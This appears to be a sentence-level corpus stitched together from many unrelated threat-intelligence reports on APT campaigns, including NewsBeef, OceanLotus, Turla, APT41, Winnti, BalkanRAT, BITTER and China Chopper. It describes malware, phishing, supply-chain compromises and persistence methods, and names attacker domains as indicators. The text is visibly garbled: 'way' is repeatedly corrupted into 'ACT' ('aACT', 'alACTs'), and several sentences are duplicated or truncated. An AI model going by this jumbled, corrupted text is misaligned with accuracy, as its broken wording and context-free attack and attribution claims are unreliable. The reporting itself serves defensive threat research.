 These compromised servers include Saudi Arabian government servers and other high-value organizational identities relevant to NewsBeef's targets .
 However , Kaspersky Security Network records also contain links that victims clicked from the Outlook web client outlook.live.com” as well as attachments arriving through the Outlook desktop application .
 Interestingly , NewsBeef set up its server using the hosting provider Choopa , LLC , US” , the same hosting provider that the group used in attacks over the summer of 2016 .
 NTG’s IT focus and client list likely aided NewsBeef’s delivery of malicious PowerShell-enabled Office documents and poisoned installers .
 In other schemes , NewsBeef sent macro-enabled Office attachments from spoofed law firm identities or other relevant service providers to targets in SA .
 The law firm in this scheme is based in the United Kingdom and is the sole location for targets outside of SA for this campaign .
 Starting in October 2016 , NewsBeef compromised a set of legitimate servers (shown below) , and injected JavaScript to redirect visitors to http://analytics-google.org:69/Check.aspx .
 For example , on a Saudi government website , the NewsBeef APT delivered packed JavaScript into the bottom of a referenced script that is included in every page served from the site the packed and unpacked JavaScript is shown below .
 The JavaScript forces visiting web browsers to collect and send (via a POST request) web browser , browser version , country of origin , and IP address data to the attacker controlled server jquerycodedownload.live/check.aspx” .
 A high volume of redirections from the compromised site continues into mid-January 2017 .
 However , as this recent campaign indicates , the NewsBeef APT appears to have shifted its intrusion toolset aACT from BeEF and towards macro-enabled malicious Office documents , PowerSploit , and Pupy .
 Despite this shift in toolset , the group still relies on old infrastructure as evidenced by their reuse of servers hosted by the service providers Choopa and Atlantic.net .
 Its attack activities can be traced back to April 2012 .
 The OceanLotus reflects a very strong confrontational ability and willing to attack by keep evolving their techniques .
 These APT attacks and adopting confrontation measures will exist for a long time .
 OceanLotus’ targets are global .
 OceanLotus have been actively using since at least early 2018 .
 OceanLotus malware family samples used no earlier than 2017 .
 we identified two methods to deliver the KerrDown downloader to targets .
 The link to the final payload of KerrDown was still active during the time of analysis and hence we were able to download a copy which turned out to be a variant of Cobalt Strike Beacon .
 While investigating KerrDown we found multiple RAR files containing a variant of the malware .
 Therefore , it is clear that the OceanLotus group works during weekdays and takes a break during the weekends .
 The group was first revealed and named by SkyEye Team in May 2015 .
 OceanLotus's targets include China's maritime institutions , maritime construction , scientific research institutes and shipping enterprises .
RedDrip Team (formerly SkyEye Team ) has been to OceanLotus to keep track of high strength , groupactivity , found it in the near future to Indochinese Peninsula countries since 2019 On April 1 , 2019 , RedDrip discovered a Vietnamese file name Hop dong sungroup.rar in the process of daily monitoring the attack activities of the OceanLotus .
 COCCOC is a Vietnam was founded in 2013 .
 In fact , according to reports of various security vendors , OceanLotus also attacked several countries , including Cambodia , Thailand , Laos , even some victims in Vietnam , like opinion leaders , media , real estate companies , foreign enterprises and banks .
 Unlike the 2016 variants of Ratsnif that stored all packets to a PCAP file .
 these threat actors targeted a number of government agencies threat actors targeted a number of government agencies in East Asia .
 Attackers relied on Microsoft Equation Editor exploit CVE-2018-0798 to deliver a custom malware that Proofpoint researchers have dubbed Cotx RAT. Maudi Surveillance Operation which was previously reported in 2013 .
 specifically CVE-2018-0798 , before downloading subsequent payloads .
 The dropped PE file has the distinctive file name 8.t” .
 The last process is utilized as part of the loading process for Cotx RAT and involves the legitimate Symantec binary noted above .
 These conflicts have even resulted in Haftar leading an attack on the capital city in April .
 The attackers have targeted a large number of organizations globally since early 2017 .
 Attackers were initially discovered while investigating a phishing attack that targeted political figures in the MENA region .
 Group's targets include high-profile entities such as parliaments , senates , top state offices and officials , political science scholars , military and intelligence agencies , ministries , media outlets , research centers , election commissions , Olympic organizations , large trading companies , and other unknown entities .
 Cisco Talos recently published a blogpost describing targeted attacks in the Middle East region which we believe may be connected .
 Operation Parliament appears to be another symptom of escalating tensions in the Middle East region .
 The attackers have taken great care to stay under the radar , imitating another attack group in the region .
 With deception and false flags increasingly being employed by threat actors , attribution is a hard and complicated task that requires solid evidence , especially in complex regions such as the Middle East .
 The malware was first seen packed with VMProtect; when unpacked the sample didn’t show any similarities with previously known malware .
 The malware starts communicating with the C&C server by sending basic information about the infected machine .
 The malware basically provides a remote CMD/PowerShell terminal for the attackers , enabling them to execute scripts/commands and receive the results via HTTP requests .
 What lied beneath this facade was a well-engineered campaign of phishing attacks designed to steal credentials and spy on the activity of dozens of journalists , human rights defenders , trade unions and labour rights activists , many of whom are seemingly involved in the issue of migrants’ rights in Qatar and Nepal .
 We refer to this campaign and the associated actor as Operation Kingphish Malik” , in one of its written forms in Arabic , translates to King” .
 It is worth noting that in December 2016 , Amnesty International published an investigation into another social engineering campaign perpetrated by a seemingly fake human rights organization known as Voiceless Victims , which targeted international human rights and labour rights organizations campaigning on migrant workers’ rights in Qatar .
 It appears that the attackers may have impersonated the identity of a real young woman and stole her pictures to construct the fake profile , along with a professional biography also stolen from yet another person .
 In the course of this email correspondence , the attacker — Safeena” — then sent what appeared to be invitations to access several documents on Google Drive .
 The attackers were meticulous in making their phishing page as credible as possible .
 Among the targets of this campaign is the International Trade Union Confederation .
Both in the attacks against ITUC and in other occasions , Operation Kingphish approached selected targets over social media , prominently Facebook , and engaged in chat conversations with them on and off , sometimes over a period of several months .
 This time the document purported to be about the involvement of the Emir of Qatar in funding ISIS , which was seemingly copied from a website critical of Qatar .
 While there is a clear underlying Qatar migrant workers theme in Operation Sheep , it is also hypothetically possible that these attacks could have been perpetrated by a malicious actor affiliated to a different government with an interest in damaging the reputation of the State of Qatar .
 Dubbed ‘Operation Sheep’ , this massive data stealing campaign is the first known campaign seen in the wild to exploit the Man-in-the-Disk vulnerability revealed by Check Point Research earlier last year .
 The SDK , named SWAnalytics is integrated into seemingly innocent Android applications published on major 3rd party Chinese app stores such as Tencent MyApp , Wandoujia , Huawei App Store , and Xiaomi App Store .
 After app installation , whenever SWAnalytics senses victims opening up infected applications or rebooting their phones , it silently uploads their entire contacts list to Hangzhou Shun Wang Technologies controlled servers .
 In theory , Shun Wang Technologies could have collected a third of China’s population names and contact numbers if not more .
 With no clear declaration of usage from Shun Wang , nor proper regulatory supervision , such data could circulate into underground markets for further exploit , ranging from rogue marketing , targeted telephone scams or even friend referral program abuse during November’s Single’s Day and December’s Asian online shopping fest .
 This paper will cover the discovery of this campaign , dubbed ‘Operation Sheep’ , and an analysis of SWAnalytics .
 In mid-September , an app named ‘Network Speed Master’ stood out on our radar with its rather unusual behavior patterns .
 This module monitors a wide range of device activities including application installation / remove / update , phone restart and battery charge .
 It turns out that contacts data isn’t the only unusual data SWAnalytics is interested in .
 With default settings , SWAnalytics will scan through an Android device’s external storage , looking for directory tencent/MobileQQ/WebViewCheck” .
 From our first malicious sample encounter back in mid-September until now , we have observed 12 infected applications , the majority of which are in the system utility category .
 By listing sub-folders , SWAnalytics is able to infer QQ accounts which have never been used on the device .
 Operation Sheep is the first campaign we have observed in the wild that abuses similar concept since our MitD publication .
 To make this data harvesting operation flexible , SWAnalytics equips the ability to receive and process configuration files from a remote Command-and-Control .
 Whenever users reboot their device or open up Network Speed Master , SWAnalytics will fetch the latest configuration file from http[:]//mbl[.]shunwang[.]com/cfg/config[.]json” .
 In order to understand SWAnalytics’ impact , we turned to public download volume data available on Chandashi , one of the app store optimization vendors specialized in Chinese mobile application markets .
 Data points span from September 2018 to January 2019 where we observed over 17 million downloads in just five months .
 In China alone , we have seen underground market sheep shavers” ported SMS rogue marketing strategy to spread Alipay Red Packet referral URL links .
 In Operation Sheep’s case , Shun Wang likely harvests end user contact lists without application developer acknowledgement .
 According to Cheetah Mobile’s follow-up investigation , fraudulent behaviors came from two 3rd party SDKs Batmobi , Duapps integrated inside Cheetah SDK .
 It is likely a new campaign or actor started using Panda Banker since in addition to the previously unseen Japanese targeting , Arbor has not seen any indicator of compromise (IOC) overlaps with previous Panda Banker campaigns .
 Webinjects targeting Japan , a country we haven’t seen targeted by Panda Banker before .
 Japan is no stranger to banking malware .
 Based on recent reports , the country has been plagued by attacks using the Ursnif and Urlzone banking malware .
 This post was our first analysis of the first Panda Banker campaign that we’ve seen to target financial institutions in Japan .
 Operation Pawn Storm is an active economic and political cyber-espionage operation that targets a wide range of entities , like the military , governments , defense industries , and the media .
 we believe the iOS malware gets installed on already compromised systems , and it is very similar to next stage SEDNIT malware we have found for Microsoft Windows’ systems .
 we found two malicious iOS applications in Operation Pawn Storm .
 One is called XAgent detected as IOS_XAGENT.A and the other one uses the name of a legitimate iOS game , MadCap detected as IOS_ XAGENT.B .
 The obvious goal of the SEDNIT-related spyware is to steal personal data , record audio , make screenshots , and send them to a remote command-and-control (C&C) server .
To learn more about this campaign , you may refer to our report , Operation Pawn Storm Using Decoys to Evade Detection .
 Additionally , we discovered a new DNS hijacking technique that we assess with moderate confidence is connected to the actors behind Sea Turtle .
 Talos now has moderate confidence that the threat actors behind Sea Turtle have been using another DNS hijacking technique .
 This technique was also observed against a government organizations in the Middle East and North African region .
 Cisco telemetry confirmed that the actors behind Sea Turtle maintained access to the ICS-Forth network from an operational command and control (C2) node .
 Our telemetry indicates that the actors maintained access in the ICS-Forth network through at least April 24 , five days after the statement was publicly released .
 This full-blown spying framework consists of two packages named ‘Tokyo’ and ‘Yokohama’ .
 Just to highlight its capabilities , TajMahal is able to steal data from a CD burnt by a victim as well as from the printer queue .
 The first confirmed date when TajMahal samples were seen on a victim’s machine is August 2014 .
 More details about TajMahal are available to customers of the Kaspersky Intelligence Reporting service .
The dropper first appeared in mid-July , suggesting that this APT activity is potentially ongoing , with Turla actively targeting G20 participants and/or those with interest in the G20 , including member nations , journalists , and policymakers .
 Turla is a well-documented , long operating APT group that is widely believed to be a Russian state-sponsored organization .
 Turla is perhaps most notoriously suspected as responsible for the breach of the United States Central Command in 2008 .
 More recently Turla was accused of breaching RUAG , a Swiss technology company , in a public report published by GovCERT.ch .
 The delivery of KopiLuwak in this instance is currently unknown as the MSIL dropper has only been observed by Proofpoint researchers on a public malware repository .
 Assuming this variant of KopiLuwak has been observed in the wild , there are a number of ACTs it may have been delivered including some of Turla’s previous attack methods such as spear phishing or via a watering hole .
 This could include diplomats , experts in the LOCs of interest related to the Digital Economy Task Force , or possibly even journalists .
 Turla's goal could include diplomats , experts in the LOCs of interest related to the Digital Economy Task Force , or possibly even journalists .
 The earliest step in any possible attack(s) involving this variant of KopiLuwak of which Proofpoint researchers are currently aware begin with the MSIL dropper .
 The basic chain of events upon execution of the MSIL dropper include dropping and executing both a PDF decoy and a Javascript (JS) dropper .
 As explained in further detail below , the JS dropper ultimately installs a JS decryptor onto an infected machine that will then finally decrypt and execute the actual KopiLuwak backdoor in memory only .
 As Proofpoint has not yet observed this attack in the wild it is likely that there is an additional component that leads to the execution of the MSIL payload .
 The newer variant of KopiLuwak is now capable of exfiltrating files to the C&C as well as downloading files and saving them to the infected machine .
 Despite the added capabilities , we still agree with Kaspersky that this backdoor is likely used as an initial reconnaissance tool and would probably be used as a staging point to deploy one of Turla’s more fully featured implants .
 Turla is a complex cyberattack platform focused predominantly on diplomatic and government-related targets , particularly in the Middle East , Central and Far East Asia , Europe , North and South America and former Soviet bloc nations .
 We didn’t choose to name it after a vegetable; the .NET malware developers named it Topinambour themselves .
 The role of the .NET module is to deliver the known KopiLuwak JavaScript Trojan .
 Moreover , Turla now also has a heavily obfuscated PowerShell Trojan that is similar to KopiLuwak .
These campaign-related VPSs are located in South Africa .
The tool does all that a typical Trojan needs to accomplish: upload , download and execute files , fingerprint target systems .
The PowerShell version of the Trojan also has the ability to get screenshots .
The Trojan is quite similar to the .NET RocketMan Trojan Obviously and can handle the same commands; additionally , it includes the #screen” command to take a screenshot .
The usage of KopiLuwak , a well-known and exclusive artefact previously used by the Turla group , makes us attribute this campaign to this actor with high confidence .
Winnti mode of operation to collect information on the organizational charts of companies , on cooperating departments , on the IT systems of individual business units , and on trade secrets , obviously .
 Hackers usually take precautions , which experts refer to as Opsec .
The Winnti group’s Opsec was dismal to say the least .
 This mode of operation is typical of many hacker groups—and especially of Winnti .
They are a very , very persistent group , ” says Costin Raiu , who has been watching Winnti since 2011 .
Raiu and his team have followed the digital tracks left behind by some of the Winnti hackers .
One government official puts it very matter-of-factly: Winnti is very specific to Germany .
By 2014 , the Winnti malware code was no longer limited to game manufacturers .
 Winnti is targeting high-tech companies as well as chemical and pharmaceutical companies .
 Winnti is attacking companies in Japan , France , the U.S. and Germany .
 The Winnti hackers broke into Henkel’s network in 2014 .
 Henkel confirms the Winnti incident and issues the following statement: The cyberattack was discovered in the summer of 2014 and Henkel promptly took all necessary precautions .
 Far from attacking Henkel and the other companies arbitrarily , Winnti takes a highly strategic approach .
 The hackers behind Winnti have also set their sights on Japan’s biggest chemical company , Shin-Etsu Chemical .
 In the case of another Japanese company , Sumitomo Electric , Winnti apparently penetrated their networks during the summer of 2016 .
 Winnti hackers also penetrated the BASF and Siemens networks .
 Thanks to this tool , we found out back in March 2019 that the Bayer pharmaceutical group had been hacked by Winnti .
 At Gameforge , the Winnti hackers had already been removed from the networks when a staff member noticed a Windows start screen with Chinese characters .
 To witnesses , the spy appears to be running a program showing videos , presenting slides ( Prezi ) , playing a computer game or even running a fake virus scanner .
From the time of file creation , the attacker started working at least as early as July 2018 .
 The link to feeds.rapidfeeds.com left in its XML configuration file was also mentioned by Kaspersky’s report in the reference section , which confirms that the APT-C-09 group keeps updating its C2 configuration channel and the recent one reserves some past features .
 For example , Donot and Bitter disguised as Kashmiri Voice to attack Pakistan , Transparent Tribe attacked India with decoy document regarding terrorist attacks in Kashmir .
 Considering APT-C-09 , Bitter and Donot have carried out targeted attacks against China , we must take actions in advance and keep a close eye on their recent activities .
 APT41 espionage operations against the healthcare , high-tech , and telecommunications sectors include establishing and maintaining strategic access , and through mid-2015 , the theft of intellectual property .
 FireEye Threat Intelligence assesses with high confidence that APT41 carries out an array of financially motivated intrusions , particularly against the video game industry , including stealing source code and digital certificates , virtual currency manipulation , and attempting to deploy ransomware .
 APT41 has executed multiple software supply chain compromises , gaining access to software companies to inject malicious code into legitimate files before distributing updates .
 APT41 is unique among tracked China-based actors in that it leverages non-public malware typically reserved for espionage operations in what appears to be activity that falls outside the scope of state-sponsored missions .
 Based on early observed activity , consistent behavior , and APT41's unusual focus on the video game industry , we believe the group's cyber crime activities are most likely motivated by personal financial gain or hobbyist interests .
 APT41 campaigns include most of the incidents previously attributed in FireEye Threat Intelligence reporting to GREF Team and a number of additional clusters that were previously unnamed .
 Activity traces back to 2012 when individual members of APT41 conducted primarily financially motivated operations focused on the video game industry before expanding into likely statesponsored activity .
 Learning to access video game production environments enabled APT41 to develop the tactics , techniques , and procedures (TTPs) that were later leveraged against software companies to inject malicious code into software updates .
 APT41 has targeted organizations in 14 countries over seven years , including: France , India , Italy , Japan , Myanmar , the Netherlands , Singapore , South Korea , South Africa , Switzerland , Thailand , Turkey , the United Kingdom , and the United States (Figure 1) .
 APT41 espionage operations against entities in these countries follow targeting of verticals consistent with Chinese national policy priorities .
 We believe that like other Chinese espionage operators , APT41 has moved toward strategic intelligence collection and establishing access , but aACT from direct intellectual property theft .
 In 2014 , APT41 was observed carrying out espionage campaigns concurrently with financially motivated intrusions , demonstrating that they could balance different objectives simultaneously .
 Since 2017 , APT41's activities have included a series of supply chain compromises .
 The group also targeted companies involved in producing motherboards , processors , and server solutions for enterprises .
 Since 2013 , APT41 has targeted organizations involved in the research , development , and sale of computer components used for machine-learning , autonomous vehicles , medical imaging , and the consumer market .
 In a 2014 compromise , APT41 targeted a European conglomerate and specifically focused on systems physically located in China .
 In spring 2015 , APT41 targeted information related to two entities undergoing a merger announced the previous year .
 Since 2017 , APT41 has consistently targeted telecommunications companies , possibly a crucial first step to establish a foothold in targeting a particular region .
 Targeted telecom companies spanned several countries , and recently identified intrusions were concentrated in countries where we had not identified any prior APT41 activity .
 In July and August 2016 , APT41 sent spear-phishing emails to Hong Kong media organizations known for pro-democracy editorial content .
 This was the first instance we have observed of APT41 targeting pro-democracy groups in Hong Kong .
 APT41 frequently leverages timely news stories as the lure content in their spear-phishing emails , although social engineering content does not alACTs correlate with targeted users or organizations .
 In 2015 , APT41 targeted a Japanese media organization with a lure document (Figure 3) titled 中東呼吸器症候 群(MERS)の予防 , ” which translates to Prevention of Middle East Respiratory Syndrome (MERS) .
 APT41 activity aimed at medical device companies and pharmaceuticals is demonstrative of the group's capacity to collect sensitive and highly valuable intellectual property (IP) , although we have not observed evidence of IP theft since late 2015 .
 Unlike other observed Chinese espionage operators , APT41 conducts explicit financially motivated activity , which has included the use of tools that are otherwise exclusively used in campaigns supporting state interests .
 Although APT41 initially targeted the parent company , 30 percent of the victimized hosts were related to a subsidiary specialized in manufacturing medical devices .
 In 2018 , we observed APT41 target a third healthcare company , although their goals during this compromise were unclear .
 In June 2018 , APT41 sent spear-phishing emails using an invitation lure to join a decentralized gaming platform linked to a cryptocurrency service (Figure 5) that had positioned itself as a medium of exchange for online games and gambling sites .
 This provides another connection between the targeting of the cryptocurrency organizations and video game targeting .
 In October 2018 , the group compiled an instance of XMRig , a Monero cryptocurrency mining tool , demonstrating a continued interest in cryptocurrency .
 APT41 campaigns focused on the video game sector have largely affected studios and distributors in East and Southeast Asia , although global companies based in the United States have also been targeted .
 APT41 continuously returns to targeting the video game sector and seems to have matured its campaigns through lessons learned in operations against the industry .
 We believe these operations include broadly malicious activity that can enable further operations , such as targeting game source code and compromising digital certificates , while other activities are explicitly financially motivated , such as abusing in-game currency mechanics .
 In October 2012 , APT41 used captured credentials to compromise a jump server and access a production environment where they deployed a Linux version of PHOTO .
 Since at least 2012 , APT41 has repeatedly gained access to game development environments within affected companies , including online multiplayer networks , as well as targeting of production database administrators .
 APT41 has been observed inserting malicious code into legitimate video game files to distribute malware .
 In 2018 , the group inserted CRACKSHOT malware into game files that were signed with legitimate codesigning certificates , most likely indicating access to the production environment , which facilitated a supply chain compromise .
 We have also observed APT41 limitedly deploy rootkits on Linux systems and Master Boot Record (MBR) bootkits , such as ROCKBOOT , on Windows systems to hide their malware and maintain persistence on victim systems .
 Selective deployment of ROCKBOOT suggests that APT41 reserves more advanced TTPs and malware only for high-value targets .
 APT41 has blatantly engaged in financially motivated activity targeting the video game industry , including manipulating virtual currencies .
 In a highly unusual case , APT41 attempted to extort a game company by deploying the Encryptor RaaS ransomware .
 APT41 is well-known for leveraging compromised digital certificates from video game studios to sign malware .
 We suggest that APT41 sought to target in-game currency but found they could not monetize the specific targeted game , so the group resorted to ransomware to attempt to salvage their efforts and profit from the compromise .
 APT41 has also used credentials compromised in previous operations .
 In 2014 , APT41 compromised an online billing/payment service using VPN access between a third-party service provider and the targeted payment service .
 Although we do not have first-hand evidence of APT41's compromise of TeamViewer , we have observed APT41 use compromised TeamViewer credentials as an entry point at multiple organizations .
 Public reports of supply chain compromises linked to APT41 date back to at least 2014 , and technical evidence associated with these incidents was used to determine a relationship , if any , with APT41 .
 As demonstrated in operations targeting the video game industry , APT41 leverages a variety of TTPs to access production environments where they can inject malicious code into legitimate files .
 In March 2017 , suspected Chinese espionage operators targeted CCleaner , a utility that assists in the removal of unwanted files from a computer .
 In July 2017 , APT41 injected malicious code into a software update package maintained by Netsarang and signed it with a legitimate Netsarang certificate in an operation referred to as ShadowPad by Kaspersky .
 Both APT41 and the actors in the CCleaner incident used TeamViewer during initial compromise .
 Supply chain compromises are most likely an extension of APT41's tactics used in gaining access to gaming development environments and to other gaming organizations via third-party service providers .
 Beginning in July 2018 , APT41 appeared to have directly targeted several East and Southeast Asia-based video game developers and distributors to inject legitimate executables with the CRACKSHOT backdoor .
 The lure used to target the cryptocurrency exchange (displayed in Figure 5 and translated in Figure 6) referenced an online gaming platform , tying the cryptocurrency targeting to APT41's focus on video game-related targeting .
 FireEye malware analysis identified source code overlaps between malware used by APT41 in May 2016 targeting of a U.S.-based game development studio and the malware observed in supply chain compromises in 2017 and 2018 .
 In May 2016 , APT41 deployed a POISONPLUG sample at a U.S.-based game development studio .
 Alternatively , it is also possible that APT41 injected malicious code into the package prior to compilation , circumventing the need to steal the code-signing certificate and compile it on their own .
 Either APT41 is operating outside of state control but still working with other Chinese APT malware actors , tools , and infrastructure on a parttime or contractual basis , or APT41 is a full-time .
 APT41 uses many of the same tools and compromised digital certificates that have been leveraged by other Chinese espionage operators .
 Initial reports about HIGHNOON and its variants reported publicly as Winnti dating back to at least 2013 indicated the tool was exclusive to a single group , contributing to significant conflation across multiple distinct espionage operations .
 APT41 has used several malware families that have also been used by other Chinese espionage operators , including variants of HIGHNOON , HOMEUNIX , PHOTO , SOGU , and ZXSHELL , among others .
 HIGHNOON , one of the main code families observed being used by APT41 , was also used by APT17 in 2015 to target semiconductor and chemical manufacturers .
 HOMEUNIX , another popular backdoor used by APT41 , has been used by at least 14 separate Chinese espionage groups , including APT1 , APT10 , APT17 , APT18 , and APT20 .
 APT41 has used CROSSWALK.BIN , a kernel driver , to circumvent firewalls and covertly send data .
 Another Chinese espionage group used a similar tool , CLASSFON , to covertly proxy network communications in 2011 .
 At least two of these malware families , HIGHNOON.CLI and GEARSHIFT , have been used by APT17 and another suspected Chinese espionage group .
 APT41 regularly leverages code-signing certificates to sign malware when targeting both gaming and nongaming organizations .
 In July 2017 , APT41 initiated a TeamViewer session and transferred files that were later deleted .
 In these instances , APT41 leveraged TeamViewer to transfer malware into the compromised environment , although we do not have direct evidence of APT41 compromising TeamViewer .
 In May 2018 , APT41 used TeamViewer for initial entry in the compromise of a healthcare company .
 Notably , APT41 was observed using proof-of-concept exploit code for CVE-2019-3396 within 23 days after the Confluence .
 APT41 has targeted payment services specializing in handling in-game transactions and real money transfer (RMT) purchases .
The group will also use a compromised account to create scheduled tasks on systems or modify legitimate Windows services to install the HIGHNOON and SOGU backdoors .
 APT41 uses multiple methods to perform lateral movement in an environment , including RDP sessions , using stolen credentials , adding accounts to User and Admin groups , and password brute-forcing utilities .
 To maintain presence , APT41 relies on backdoors , a Sticky Keys vulnerability , scheduled tasks , bootkits , rootkits , registry modifications , and creating or modifying startup files .
 APT41 leveraged ROCKBOOT as a persistence mechanism for PHOTO and TERA backdoors .
 APT41 has also been observed modifying firewall rules to enable file and printer sharing to allow for inbound Server Message Block (SMB) traffic .
In some instances , APT41 leveraged POISONPLUG as a first-stage backdoor to deploy the HIGHNOON backdoor in the targeted environment .
 The group also deploys the SOGU and CROSSWALK malware families as means to maintain presence .
 APT41 sent spear-phishing emails to multiple HR employees three days after the compromise had been remediated and systems were brought back online .
 APT41 also deploys the SOGU and CROSSWALK malware families as means to maintain presence .
 Within hours of a user opening the malicious attachment dropping a HOMEUNIX backdoor , APT41 regained a foothold within the environment by installing PHOTO on the organization's servers across multiple geographic regions .
 Before attempting to deploy the publicly available Ransomware-as-a-Service (RaaS) Encryptor RaaS through group policy , APT41 blocked victim systems from retrieving anti-virus updates by accessing the DNS management console and implementing a forward lookup on the domain used for anti-virus updates to the park IP address 1.1.1.1 .
 APT41 has been observed creating a RAR archive of targeted files for Exfiltration .
 APT41 is unique among tracked China-based actors in that it leverages non-public malware typically reserved for espionage campaigns in what appears to be activity for personal gain .
 During multiple engagements , APT41 attempted to remove evidence of some of its activity by deleting Bash histories , clearing Windows security and system events , and modifying DNS management to avoid anti-virus detections .
 Explicit financially-motivated targeting is unusual among Chinese statesponsored threat groups , and evidence suggests APT41 has conducted simultaneous cyber crime and Cyber Espionage operations from 2014 onward .
 APT41 operations against higher education , travel services , and news/media firms provide some indication that the group also tracks individuals and conducts surveillance .
 For example , the group has repeatedly targeted call record information at telecom companies .
 APT41 has established and maintained strategic access to organizations in the healthcare , high-tech , and telecommunications sectors .
 The group’s financially motivated activity has primarily focused on the video game industry , where APT41 has manipulated virtual currencies and even attempted to deploy ransomware .
 In another instance , APT41 targeted a hotel’s reservation systems ahead of Chinese officials staying there , suggesting the group was tasked to reconnoiter the facility for security reasons .
 These supply chain compromise tactics have also been characteristic of APT41’s best known and most recent espionage campaigns .
 Interestingly , despite the significant effort required to execute supply chain compromises and the large number of affected organizations , APT41 limits the deployment of follow-on malware to specific victim systems by matching against individual system identifiers .
 Mapping the group’s activities since 2012 (Figure 2) also provides some indication that APT41 primarily conducts financially motivated operations outside of their normal day jobs .
 The latter is especially notable because APT41 has repeatedly returned to targeting the video game industry and we believe these activities were formative in the group’s later espionage operations .
 APT41 leverages an arsenal of over 46 different malware families and tools to accomplish their missions , including publicly available utilities , malware shared with other Chinese espionage operations , and tools unique to the group .
 Once in a victim organization , APT41 can leverage more sophisticated TTPs and deploy additional malware .
 APT41 often relies on spear-phishing emails with attachments such as compiled HTML ( .chm ) files to initially compromise their victims .
APT41 has also deployed rootkits and Master Boot Record (MBR) bootkits on a limited basis to hide their malware and maintain persistence on select victim systems .
 The limited use of these tools by APT41 suggests the group reserves more advanced TTPs and malware only for high-value targets .
 Like other Chinese espionage operators , APT41 appears to have moved toward strategic intelligence collection and establishing access and aACT from direct intellectual property theft since 2015 .
 This shift , however , has not affected the group's consistent interest in targeting the video game industry for financially motivated reasons .
 BalkanRAT enables the attacker to remotely control the compromised computer via a graphical interface , i.e. , manually; BalkanDoor enables them to remotely control the compromised computer via a command line , i.e. , possibly en masse .
 With the contents of the emails , included links and decoy PDFs all involving taxes , the attackers are apparently targeting the financial departments of organizations in the Balkans region .
 Some parts of the campaign were briefly described by a Serbian security provider in 2016 and the Croatian CERT in 2017 .
 The campaign has been active at least from January 2016 to the time of writing the most recent detections in our telemetry are from July 2019 .
 Our findings show that the mentioned attacks have been orchestrated and we consider them a single long-term campaign that spans Croatia , Serbia , Montenegro , and Bosnia and Herzegovina .
 We’ve discovered a new version of BalkanDoor with a new method for execution/installation: an exploit of the WinRAR ACE vulnerability CVE-2018-20250 .
 Both BalkanRAT and BalkanDoor spread in Croatia , Serbia , Montenegro , and Bosnia and Herzegovina .
 According to our telemetry , the campaign spreading these tools has been live since 2016 , with the most recent detections as late as in July 2019 .
 In some of the latest samples of BalkanDoor detected in 2019 , the malware is distributed as an ACE archive , disguised as a RAR archive (i.e. , not an executable file) , specially crafted to exploit the WinRAR ACE vulnerability CVE-2018-20250 .
 Via the BalkanDoor backdoor , the attacker sends a backdoor command to unlock the screen… and using BalkanRAT , they can do whatever they want on the computer .
 The BalkanDoor backdoor does not implement any Exfiltration channel .
 APT41 leveraged ADORE.XSEC , a Linux backdoor launched by the Adore-NG rootkit , throughout an organization's Linux environment .
 The backdoor can connect to any of the C&Cs from a hardcoded list – a measure to increase resilience .
 The main part of the BalkanRAT malware is a copy of the Remote Utilities software for remote access .
 Interestingly , some of the APT41's POISONPLUG malware samples leverage the Steam Community website associated with Valve , a video game developer and publisher .
 The campaign targeting accountants in the Balkans shows some similarities with a campaign aimed at Ukrainian notaries reported in 2016 .
 Based on the Let’s Encrypt certificate issuance date , we believe this campaign to be active from May 2019 .
 One of the domains uncovered during the investigation was identified by the Chinese security vendor CERT 360 as being part of the BITTER APT campaign in May 2019 .
 Further analysis of the BITTER APT’s infrastructure uncovered a broader phishing campaign targeting other government sites and state-owned enterprises in China .
 Further investigation revealed approximately 40 additional sites , all of which appear to be targeting the government of China and other organisations in China .
 We expect to see BITTER APT continuing to target the government of China by employing spoofed login pages designed to steal user credentials and obtain access to privileged account information .
 This domain and IP address has been previously associated with the BITTER APT and targeting government agencies in China with phishing attacks , based on reporting from 360-CERT .
 At the time of analysis , the subdomains did not host a website; however , based on BITTER APT group’s targeting patterns , it is highly likely that they were created to host faux login phishing pages designed to steal user’s credentials .
 BITTER APT campaigns are primarily targeting China , Pakistan and Saudi Arabia historically .
 As part of its ongoing research initiatives , the Anomali Threat Research Team has discovered a new phishing attack leveraging spoof sites that seem to be designed to steal email credentials from the target victims within the government of the People’s Republic of China .
 360 Threat Intelligence Center has reported on related indicators being attributed to BITTER APT a South Asian country suspected Indian APT in open source reporting .
 China Chopper is a tool that has been used by some state-sponsored actors such as Leviathan and Threat Group-3390 , but during our investigation we've seen actors with varying skill levels .
 China Chopper is a tool that allows attackers to remotely control the target system that needs to be running a web server application before it can be targeted by the tool .
 Cisco Talos discovered significant China Chopper activity over a two-year period beginning in June 2017 , which shows that even nine years after its creation , attackers are using China Chopper without significant modifications .
 Here , we investigate a campaign targeting an Asian government organization .
 We observed another campaign targeting an organisation located in Lebanon .
 China Chopper contains a remote shell ( Virtual Terminal ) function that has a first suggested command of netstat an|find ESTABLISHED .
 They download and install an archive containing executables and trivially modified source code of the password-stealing tool Mimikatz Lite as GetPassword.exe .
 The tool investigates the Local Security Authority Subsystem memory space in order to find , decrypt and display retrieved passwords .
 The actor attempts to exploit CVE-2018–8440 — an elevation of privilege vulnerability in Windows when it improperly handles calls to Advanced Local Procedure Call — to elevate the privileges using a modified proof-of-concept exploit .
 The attacker obtains the required privileges and launches a few other tools to modify the access control lists (ACLs) of all websites running on the affected server .
 The Windows branch of the Cloud Atlas intrusion set still uses spear-phishing emails to target high profile victims .
 From the beginning of 2019 until July , we have been able to identify different spear-phishing campaigns related to this threat actor mostly focused on Russia , Central Asia and regions of Ukraine with ongoing military conflicts .
 We described one of the techniques used by Cloud Atlas in 2017 and our colleagues at Palo Alto Networks also wrote about it in November 2018 .
 The China Chopper actor activity starts with the download and execution of two exploit files which attempt to exploit the Windows vulnerabilities CVE-2015-0062 , CVE-2015-1701 and CVE-2016-0099 to allow the attacker to modify other objects on the server .
 Previously , Cloud Atlas dropped its validator” implant named PowerShower” directly , after exploiting the Microsoft Equation vulnerability CVE-2017-11882 mixed with CVE-2018-0802 .
 This malware has been used since October 2018 by Cloud Atlas as a validator and now as a second stage .
 Cloud Atlas remains very prolific in Eastern Europe and Central Asia .
 During its recent campaigns , Cloud Atlas used a new polymorphic” infection chain relying no more on PowerShower directly after infection , but executing a polymorphic HTA hosted on a remote server , which is used to drop three different files on the local system .
 The Gamaredon Group has been actively launching spear-phishing attacks against Ukrainian government and military departments from the mid-2013s .
 In addition , the anonymous cybersecurity experts referenced in the article connected the malicious Gamaredon Group actors with Russian state-sponsored hackers .
